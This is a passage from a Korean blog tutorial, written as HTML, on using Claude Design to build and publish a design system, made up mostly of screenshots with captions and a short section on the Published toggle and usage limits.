&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;402&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lEddq/dJMcaaZkugq/GZ9uA9QuBSFuZXObzCUeJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lEddq/dJMcaaZkugq/GZ9uA9QuBSFuZXObzCUeJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lEddq/dJMcaaZkugq/GZ9uA9QuBSFuZXObzCUeJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlEddq%2FdJMcaaZkugq%2FGZ9uA9QuBSFuZXObzCUeJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;362&quot; height=&quot;164&quot; data-origin-width=&quot;888&quot; data-origin-height=&quot;402&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 작업 상황 관찰한 이력&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1828&quot; data-origin-height=&quot;1614&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/br9VLc/dJMcaakJwJ4/3hOX32Y6HllcmbmERxdCv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/br9VLc/dJMcaakJwJ4/3hOX32Y6HllcmbmERxdCv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/br9VLc/dJMcaakJwJ4/3hOX32Y6HllcmbmERxdCv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbr9VLc%2FdJMcaakJwJ4%2F3hOX32Y6HllcmbmERxdCv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1828&quot; height=&quot;1614&quot; data-origin-width=&quot;1828&quot; data-origin-height=&quot;1614&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 버그 발생&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dCV3Ul/dJMb997cAY7/ckUePH4Ey2ubIIazwRdKr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dCV3Ul/dJMb997cAY7/ckUePH4Ey2ubIIazwRdKr1/img.png&quot; style=&quot;width: 32.6537%; margin-right: 10px;&quot; width=&quot;274&quot; height=&quot;639&quot; data-origin-width=&quot;706&quot; data-origin-height=&quot;1646&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;33.04&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dCV3Ul/dJMb997cAY7/ckUePH4Ey2ubIIazwRdKr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdCV3Ul%2FdJMb997cAY7%2FckUePH4Ey2ubIIazwRdKr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;706&quot; height=&quot;1646&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kR4Nq/dJMcabRtlTc/DkVDyjPw6T58JMp5KFSpE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kR4Nq/dJMcabRtlTc/DkVDyjPw6T58JMp5KFSpE0/img.png&quot; style=&quot;width: 66.1835%;&quot; width=&quot;282&quot; height=&quot;324&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;796&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;66.96&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kR4Nq/dJMcabRtlTc/DkVDyjPw6T58JMp5KFSpE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkR4Nq%2FdJMcabRtlTc%2FDkVDyjPw6T58JMp5KFSpE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;692&quot; height=&quot;796&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 어쩔수 없이 github 연동하여 진행&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1402&quot; data-origin-height=&quot;1768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KokKi/dJMcagkWhAi/qxkz52WoTZ1kmTEvdt1Sn0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KokKi/dJMcagkWhAi/qxkz52WoTZ1kmTEvdt1Sn0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KokKi/dJMcagkWhAi/qxkz52WoTZ1kmTEvdt1Sn0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKokKi%2FdJMcagkWhAi%2Fqxkz52WoTZ1kmTEvdt1Sn0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;586&quot; height=&quot;739&quot; data-origin-width=&quot;1402&quot; data-origin-height=&quot;1768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 이번엔 정상 동작하는 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1666&quot; data-origin-height=&quot;1386&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CsVbM/dJMcafTTwuW/tIwyOLquE8UdxIyaBG3om0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CsVbM/dJMcafTTwuW/tIwyOLquE8UdxIyaBG3om0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CsVbM/dJMcafTTwuW/tIwyOLquE8UdxIyaBG3om0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCsVbM%2FdJMcafTTwuW%2FtIwyOLquE8UdxIyaBG3om0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1666&quot; height=&quot;1386&quot; data-origin-width=&quot;1666&quot; data-origin-height=&quot;1386&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 작업 중 계속 피드백을 줄 수 있다. (이번엔 테스트이니 모두 허용)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2148&quot; data-origin-height=&quot;3074&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cTdRA3/dJMcacpkk1L/kCDtV64eig6umF2vhFU5dK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cTdRA3/dJMcacpkk1L/kCDtV64eig6umF2vhFU5dK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTdRA3/dJMcacpkk1L/kCDtV64eig6umF2vhFU5dK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcTdRA3%2FdJMcacpkk1L%2FkCDtV64eig6umF2vhFU5dK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2148&quot; height=&quot;3074&quot; data-origin-width=&quot;2148&quot; data-origin-height=&quot;3074&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 너무 복잡한 프로젝트를 제공했더니 추가 요청사항이 있어 답변&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;704&quot; data-origin-height=&quot;1842&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zVnUk/dJMcai35aSg/GQ294xg3MOCm11kAZOKsfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zVnUk/dJMcai35aSg/GQ294xg3MOCm11kAZOKsfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zVnUk/dJMcai35aSg/GQ294xg3MOCm11kAZOKsfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzVnUk%2FdJMcai35aSg%2FGQ294xg3MOCm11kAZOKsfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;285&quot; height=&quot;746&quot; data-origin-width=&quot;704&quot; data-origin-height=&quot;1842&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 한참 끝에 완료 되엇다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;1310&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DP6wF/dJMcafGmtXl/dZQrARx9EUke8hKrBFFM01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DP6wF/dJMcafGmtXl/dZQrARx9EUke8hKrBFFM01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DP6wF/dJMcafGmtXl/dZQrARx9EUke8hKrBFFM01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDP6wF%2FdJMcafGmtXl%2FdZQrARx9EUke8hKrBFFM01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;361&quot; height=&quot;662&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;1310&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- Design System 결과물&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2752&quot; data-origin-height=&quot;1292&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1UV4S/dJMcafGmt6c/umZjiixDfOWbU1K6WhAtV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1UV4S/dJMcafGmt6c/umZjiixDfOWbU1K6WhAtV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1UV4S/dJMcafGmt6c/umZjiixDfOWbU1K6WhAtV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1UV4S%2FdJMcafGmt6c%2FumZjiixDfOWbU1K6WhAtV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2752&quot; height=&quot;1292&quot; data-origin-width=&quot;2752&quot; data-origin-height=&quot;1292&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.4. Claude가 추출하는 디자인 시스템 구성요소&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업로드한 자산을 분석한 Claude는 다음 네 가지를 자동으로 구성한다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Color palette&lt;/b&gt;: Primary, Secondary, Accent 색상. 코드 리포에서 연결하면 Tailwind CSS 토큰까지 추출된다는 커뮤니티 보고가 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Typography&lt;/b&gt;: Font families, sizes, weights.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Components&lt;/b&gt;: Buttons, cards, navigation elements.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Layout patterns&lt;/b&gt;: Spacing, grid systems, page structures.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.5. Published 토글 켜기&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;디자인 시스템 구성이 완료되면 &lt;b&gt;Published 토글&lt;/b&gt;을 켠다. 공식 문서 원문: &lt;i&gt;&quot;Make sure the 'Published' toggle is switched on.&quot;&lt;/i&gt; (Published 토글이 켜져 있는지 확인한다.)&lt;/li&gt;
&lt;li&gt;토글을 켜면 &lt;b&gt;조직 내 모든 새 프로젝트에 자동 적용&lt;/b&gt;된다. 원문: &lt;i&gt;&quot;After publishing, any projects created from the Claude Design homescreen while in your organization will use your design system.&quot;&lt;/i&gt; (게시 후에는 조직 내에서 Claude Design 홈 화면으로 만든 모든 프로젝트에 디자인 시스템이 자동 적용된다.)&lt;/li&gt;
&lt;li&gt;Published 토글을 켠 후 새 프로젝트를 열어 디자인 시스템이 반영되는지 확인한다. 이전에 만든 프로젝트에는 소급 적용되지 않으므로 새 프로젝트로 테스트한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) Design System Tab 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- Published에 토글이 켜져있다. 새프로젝트를 열어보자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1946&quot; data-origin-height=&quot;1050&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOnMcV/dJMcagL2VHI/YY1kSIKeOiU3nuFVSYhqdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOnMcV/dJMcagL2VHI/YY1kSIKeOiU3nuFVSYhqdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOnMcV/dJMcagL2VHI/YY1kSIKeOiU3nuFVSYhqdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOnMcV%2FdJMcagL2VHI%2FYY1kSIKeOiU3nuFVSYhqdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1946&quot; height=&quot;1050&quot; data-origin-width=&quot;1946&quot; data-origin-height=&quot;1050&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- Design system 선택 후 Create&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1938&quot; data-origin-height=&quot;1042&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b802J4/dJMcajhDB30/QE6kZfuKVYmzFaaKol7460/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b802J4/dJMcajhDB30/QE6kZfuKVYmzFaaKol7460/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b802J4/dJMcajhDB30/QE6kZfuKVYmzFaaKol7460/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb802J4%2FdJMcajhDB30%2FQE6kZfuKVYmzFaaKol7460%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1938&quot; height=&quot;1042&quot; data-origin-width=&quot;1938&quot; data-origin-height=&quot;1042&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 기본적으로 추가되어있는것으로 보이지만 실제 결과를 테스트 해봐야 겠다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;1330&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DIBQe/dJMcadIufGk/68lrkmWuIsoAoOaHAojhXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DIBQe/dJMcadIufGk/68lrkmWuIsoAoOaHAojhXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DIBQe/dJMcadIufGk/68lrkmWuIsoAoOaHAojhXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDIBQe%2FdJMcadIufGk%2F68lrkmWuIsoAoOaHAojhXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;521&quot; height=&quot;627&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;1330&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2114&quot; data-origin-height=&quot;1908&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lgSb1/dJMcaadY8Ti/KT1bcZgr8rqxCPcgnDd1Ok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lgSb1/dJMcaadY8Ti/KT1bcZgr8rqxCPcgnDd1Ok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lgSb1/dJMcaadY8Ti/KT1bcZgr8rqxCPcgnDd1Ok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlgSb1%2FdJMcaadY8Ti%2FKT1bcZgr8rqxCPcgnDd1Ok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2114&quot; height=&quot;1908&quot; data-origin-width=&quot;2114&quot; data-origin-height=&quot;1908&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 나 바이브 코딩 프로젝트의 디자인 시스템 로드 완료된 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3410&quot; data-origin-height=&quot;1910&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGRNvL/dJMcafsNLnH/vHPtcEJZoFA50mqBIdQCa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGRNvL/dJMcafsNLnH/vHPtcEJZoFA50mqBIdQCa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGRNvL/dJMcafsNLnH/vHPtcEJZoFA50mqBIdQCa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGRNvL%2FdJMcafsNLnH%2FvHPtcEJZoFA50mqBIdQCa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3410&quot; height=&quot;1910&quot; data-origin-width=&quot;3410&quot; data-origin-height=&quot;1910&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1582&quot; data-origin-height=&quot;2028&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPb50E/dJMcaiiLdhP/1P4ykWpJYtZ0uGkskpuo7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPb50E/dJMcaiiLdhP/1P4ykWpJYtZ0uGkskpuo7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPb50E/dJMcaiiLdhP/1P4ykWpJYtZ0uGkskpuo7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPb50E%2FdJMcaiiLdhP%2F1P4ykWpJYtZ0uGkskpuo7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1582&quot; height=&quot;2028&quot; data-origin-width=&quot;1582&quot; data-origin-height=&quot;2028&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1572&quot; data-origin-height=&quot;2886&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qkzit/dJMcaaLOPDF/d7seSciuE82pHS0HnMMsSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qkzit/dJMcaaLOPDF/d7seSciuE82pHS0HnMMsSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qkzit/dJMcaaLOPDF/d7seSciuE82pHS0HnMMsSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqkzit%2FdJMcaaLOPDF%2Fd7seSciuE82pHS0HnMMsSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1572&quot; height=&quot;2886&quot; data-origin-width=&quot;1572&quot; data-origin-height=&quot;2886&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- [이미지 삽입 위치] Share 메뉴 → File type: Design System 화면 (Image 12) --&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의&lt;/b&gt;: 디자인 시스템 생성 자체가 Claude Design 사용량(주간 한도)을 소비한다. Nervegna 리뷰에 따르면 &quot;디자인 시스템 생성 1회 + 프로토타입 1개로 Pro 주간 한도의 65%를 소진했다&quot;는 보고가 있다. 디자인 시스템은 조직 전체에서 한 번만 설정하고 재사용하는 것이 사용량 절약에 효율적이다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== SECTION 6 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 디자인 시스템 만들고 나니 28% 정도 사용 되었다. (이전 22%)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2262&quot; data-origin-height=&quot;534&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yxBFj/dJMcahqEh1p/caWtbuKdPxvrcmkLOoT1jk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yxBFj/dJMcahqEh1p/caWtbuKdPxvrcmkLOoT1jk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yxBFj/dJMcahqEh1p/caWtbuKdPxvrcmkLOoT1jk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyxBFj%2FdJMcahqEh1p%2FcaWtbuKdPxvrcmkLOoT1jk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2262&quot; height=&quot;534&quot; data-origin-width=&quot;2262&quot; data-origin-height=&quot;534&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;sec-6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #e8f5e9; color: #2e7d32; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;초급&lt;/span&gt;6. 기능 3: 인라인 코멘트 심화&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인라인 코멘트는 캔버스의 특정 요소를 집어 &quot;이 부분만 바꿔달라&quot;고 지시하는 기능이다. 전체 레이아웃을 재생성하지 않고 원하는 지점을 콕 집어 변경을 요청할 때 쓴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
